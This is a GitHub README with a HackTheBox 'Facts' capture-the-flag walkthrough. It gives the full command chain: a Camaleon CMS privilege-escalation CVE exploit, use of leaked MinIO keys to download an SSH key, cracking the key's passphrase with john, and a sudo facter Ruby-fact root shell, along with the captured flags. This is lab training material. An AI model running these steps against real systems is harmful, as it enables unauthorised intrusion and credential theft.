Skip to content

About

pwned facts machine

Resources

Stars

0 stars

Watchers

0 watching

Forks

Latest commit

 

History

1 Commit

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 

Repository files navigation

HackTheBox - Facts Machine

IP Address: 10.129.244.96


Reconnaissance

Nmap Scan

  • Port 22 - SSH (OpenSSH 9.9p1 Ubuntu)
  • Port 80 - HTTP (nginx 1.26.3) → Camaleon CMS at http://facts.htb/
  • Port 54321 - MinIO (S3-compatible object storage), console redirects to port 9001 (localhost only)

Web Enumeration

  • CMS: Camaleon CMS (Ruby on Rails based)
  • Homepage: http://facts.htb/
  • Admin panel: http://facts.htb/admin/login
  • Posts found: /welcome, /animal-ejected

Step 1 - Camaleon CMS Account Creation & Privilege Escalation

Created Account

  • Username: ahmed
  • Password: ahmed123

CVE-2025-2304 - Privilege Escalation (Mass Assignment)

  • Vulnerability: Camaleon CMS < 2.9.1 allows authenticated users to escalate to admin by injecting password[role]=admin during password change via updated_ajax endpoint.
  • Exploit: exploits/CVE-2025-2304-POC/exploit.py
  • Usage: python3 exploit.py http://facts.htb ahmed ahmed123
  • Result: User ahmed escalated to Administrator role.

CMS Users Found (from /admin/users)

ID Username Email Role
1 admin admin@local.com Administrator
8 ahmed ahmed@facts.htb Administrator
5 hacker99 hacker99@test.com Client
6 hacker2023 hacker2023@test.com Client
7 adminrole3 adminrole3@test.com Client

Step 2 - MinIO Credentials from CMS Admin Settings

Found S3/MinIO credentials in Admin → Settings → Site (/admin/settings/site):

Setting Value
Filesystem Type S3 (checkbox checked)
Access Key AKIA5EA4FBE8ADCCDF36
Secret Key OCxJ57i91jcV7S9NSGO6CV3mUdYFEehYxoBsrdZj
Bucket Name randomfacts
Region us-east-1
Endpoint http://localhost:54321
CloudFront URL http://facts.htb/randomfacts

Accessing MinIO

export AWS_ACCESS_KEY_ID=AKIA5EA4FBE8ADCCDF36
export AWS_SECRET_ACCESS_KEY=OCxJ57i91jcV7S9NSGO6CV3mUdYFEehYxoBsrdZj

# List buckets
aws --endpoint-url http://facts.htb:54321 s3 ls

# List bucket contents
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/ --recursive
aws --endpoint-url http://facts.htb:54321 s3 ls s3://randomfacts/ --recursive

# Download files
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519

Buckets Found

  1. randomfacts - Public CMS media files (images, uploads). Served via nginx at /randomfacts/. Policy allows public read/write.
  2. internal - Home directory backup containing:
    • .bash_logout, .bashrc, .profile
    • .cache/motd.legal-displayed
    • .lesshst
    • .ssh/authorized_keys
    • .ssh/id_ed25519 ← SSH private key (encrypted)

Step 3 - SSH Key Cracking

Downloaded SSH Key

  • Location on PC: /tmp/id_ed25519_facts (also /tmp/id_ed25519_facts_use)
  • Key type: ED25519, encrypted with aes256-ctr + bcrypt

Cracking with John

ssh2john /tmp/id_ed25519_facts > /tmp/id_ed25519_facts.hash
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/id_ed25519_facts.hash
  • Passphrase cracked: dragonballz

Step 4 - SSH Login as trivia

Username: trivia

  • Found from the website theme: "Discover Amazing Trivia!"
  • The website is a trivia/facts site → system user is trivia

SSH Login

# Download key from MinIO
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519
chmod 600 ./id_ed25519

# SSH login
ssh -i ./id_ed25519 trivia@facts.htb
# Passphrase: dragonballz

System Info

  • Ubuntu 25.04 (Linux 6.14.0-37-generic x86_64)
  • Home dir: /home/trivia (no user.txt here)
  • Another user: william at /home/william
  • User flag: b37772ab205c1597dc117097dddf995c (in /home/william/user.txt)

Step 5 - Privilege Escalation (facter → root)

sudo -l Output

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Exploit: Custom Facter Fact with Ruby Code Execution

facter is a Ruby-based system facts tool (from Puppet). The --custom-dir flag allows loading custom Ruby fact files. Since we can run facter as root, we inject a fact that spawns a shell:

# Create malicious custom fact
mkdir -p /tmp/facts
echo 'Facter.add(:exploit) do setcode do system("/bin/bash") end end' > /tmp/facts/exploit.rb

# Run as root (--custom-dir bypasses env_reset which blocks FACTERLIB)
sudo /usr/bin/facter --custom-dir /tmp/facts exploit
# → root shell!

Root Flag

  • Root flag: 839fff9faee958add9e2a9277aa10057 (in /root/root.txt)

File Structure

Facts/
├── README.md              ← This file
├── exploits/
│   ├── CVE-2025-2304-POC/ ← Privilege escalation exploit
│   │   ├── exploit.py
│   │   └── README.md
│   └── ssh_user_enum.sh   ← SSH username brute force script
├── loot/
│   └── ssh_enum_results.log  ← Brute force results
├── notes/
└── recon/
    ├── initial_scan.nmap   ← Nmap service scan
    ├── full_portscan.nmap  ← Nmap all ports scan
    ├── ffuf_common.json    ← Directory brute force results
    └── fr_facts.htb_*/     ← Web recon (URLs, JS, headers, etc.)

MACHINE PWNED

Flag Value
User b37772ab205c1597dc117097dddf995c
Root 839fff9faee958add9e2a9277aa10057

Attack Chain Summary

  1. Register account on Camaleon CMS → CVE-2025-2304 privesc to admin
  2. Extract MinIO credentials from CMS admin settings
  3. Download SSH private key from s3://internal/.ssh/id_ed25519
  4. Crack key passphrase with john: dragonballz
  5. SSH as trivia (from website theme "Discover Amazing Trivia!")
  6. sudo facter --custom-dir with malicious Ruby fact → root

About

pwned facts machine

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages